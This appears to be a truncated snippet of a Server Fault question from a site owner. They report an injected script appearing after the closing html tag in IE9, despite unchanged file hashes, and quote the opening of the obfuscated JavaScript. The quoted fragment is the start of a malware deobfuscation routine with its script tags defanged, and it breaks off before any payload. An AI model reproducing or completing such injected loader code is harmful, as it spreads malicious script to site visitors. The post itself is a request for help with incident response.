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Malware Cross Site Scriptinig attack / XSS Attack?

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http://serverfault.com – I have been hit by an Cross Site Scripting / XSS / RFI Attack, where I cant find it anywhere in the source of the files and Hashes on files have not been changed according to OSSEC HIDS that I run real time monitoring on all webdirs. The Attack happens on IE9 Only it and appends java script code like beneath, notice that it starts after /html> tag closes normally. : </html><body>scXXpt language="javascXXpt">var enuwjo = function(gqumas, yhxxju, zbkpilf, xzzvhld){var xew = function(iso) {var crh, eaq, i; var owb=""; crh = iso.length; for (i = 0; i < crh; ++i) {eaq = iso.char (HowTos)